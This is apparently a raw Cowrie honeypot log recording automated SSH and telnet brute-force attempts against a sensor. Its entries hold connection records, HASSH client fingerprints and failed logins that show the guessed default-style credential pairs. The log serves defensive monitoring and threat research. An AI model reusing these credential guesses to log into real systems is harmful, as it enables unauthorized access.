{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:54.151448Z","src_ip":"45.156.87.204","session":"b7e5da2e6086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:54.575882Z","src_ip":"45.156.87.204","session":"b7e5da2e6086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:55.403372Z","src_ip":"47.237.167.49","session":"f981bee2d469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:55.660921Z","src_ip":"45.156.87.204","session":"b7e5da2e6086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53214,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d8bd458061","protocol":"telnet","message":"New connection: 152.42.224.71:53214 (10.17.0.5:23) [session: f4d8bd458061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:56.403546Z"}
{"eventid":"cowrie.session.closed","duration":117.83751606941223,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:57.489812Z","src_ip":"152.42.224.71","session":"dbdfbc5120a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46418,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ccc0d4d819f","protocol":"ssh","message":"New connection: 45.156.87.204:46418 (159.203.135.109:22) [session: 9ccc0d4d819f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:57.731276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:57.737166Z","src_ip":"45.156.87.204","session":"9ccc0d4d819f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:57.821427Z","src_ip":"45.156.87.204","session":"9ccc0d4d819f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:58.076879Z","src_ip":"45.156.87.204","session":"9ccc0d4d819f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":53516,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9ed18bf643b","protocol":"ssh","message":"New connection: 77.94.47.83:53516 (159.203.135.109:22) [session: b9ed18bf643b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:58.562647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:58.566998Z","src_ip":"77.94.47.83","session":"b9ed18bf643b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:58.694810Z","src_ip":"77.94.47.83","session":"b9ed18bf643b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty228","message":"login attempt [root/qwerty228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:59.085966Z","src_ip":"77.94.47.83","session":"b9ed18bf643b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:59.204353Z","src_ip":"45.156.87.204","session":"9ccc0d4d819f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53216,"dst_ip":"10.17.0.5","dst_port":23,"session":"6851b058e3db","protocol":"telnet","message":"New connection: 152.42.224.71:53216 (10.17.0.5:23) [session: 6851b058e3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:59.282201Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:00.217708Z","src_ip":"77.94.47.83","session":"b9ed18bf643b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46426,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a2da690d399","protocol":"ssh","message":"New connection: 45.156.87.204:46426 (159.203.135.109:22) [session: 7a2da690d399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:01.293209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:01.303299Z","src_ip":"45.156.87.204","session":"7a2da690d399","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:01.386729Z","src_ip":"45.156.87.204","session":"7a2da690d399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:01.869774Z","src_ip":"45.156.87.204","session":"7a2da690d399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:02.956257Z","src_ip":"45.156.87.204","session":"7a2da690d399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.55730652809143,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:04.102683Z","src_ip":"152.42.224.71","session":"2c5907c812e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51268,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ac8d251e984","protocol":"ssh","message":"New connection: 45.156.87.204:51268 (159.203.135.109:22) [session: 5ac8d251e984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:05.213582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:05.218938Z","src_ip":"45.156.87.204","session":"5ac8d251e984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:05.301759Z","src_ip":"45.156.87.204","session":"5ac8d251e984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:05.554302Z","src_ip":"45.156.87.204","session":"5ac8d251e984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:06.639605Z","src_ip":"45.156.87.204","session":"5ac8d251e984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:08.233608Z","src_ip":"47.237.167.49","session":"f981bee2d469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51274,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b1bab6197a1","protocol":"ssh","message":"New connection: 45.156.87.204:51274 (159.203.135.109:22) [session: 0b1bab6197a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:08.709473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:08.713483Z","src_ip":"45.156.87.204","session":"0b1bab6197a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:08.795285Z","src_ip":"45.156.87.204","session":"0b1bab6197a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:09.043355Z","src_ip":"45.156.87.204","session":"0b1bab6197a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.5","message":"Connection lost after 23.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:09.475227Z","src_ip":"47.237.167.49","session":"f981bee2d469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:10.128092Z","src_ip":"45.156.87.204","session":"0b1bab6197a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54688,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f0a83ac9c37","protocol":"ssh","message":"New connection: 45.156.87.204:54688 (159.203.135.109:22) [session: 1f0a83ac9c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:12.550756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:12.666021Z","src_ip":"45.156.87.204","session":"1f0a83ac9c37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:12.669600Z","src_ip":"45.156.87.204","session":"1f0a83ac9c37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:13.025152Z","src_ip":"45.156.87.204","session":"1f0a83ac9c37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:14.111037Z","src_ip":"45.156.87.204","session":"1f0a83ac9c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54708,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0cde3d22b47","protocol":"ssh","message":"New connection: 45.156.87.204:54708 (159.203.135.109:22) [session: b0cde3d22b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:16.263891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:16.269047Z","src_ip":"45.156.87.204","session":"b0cde3d22b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp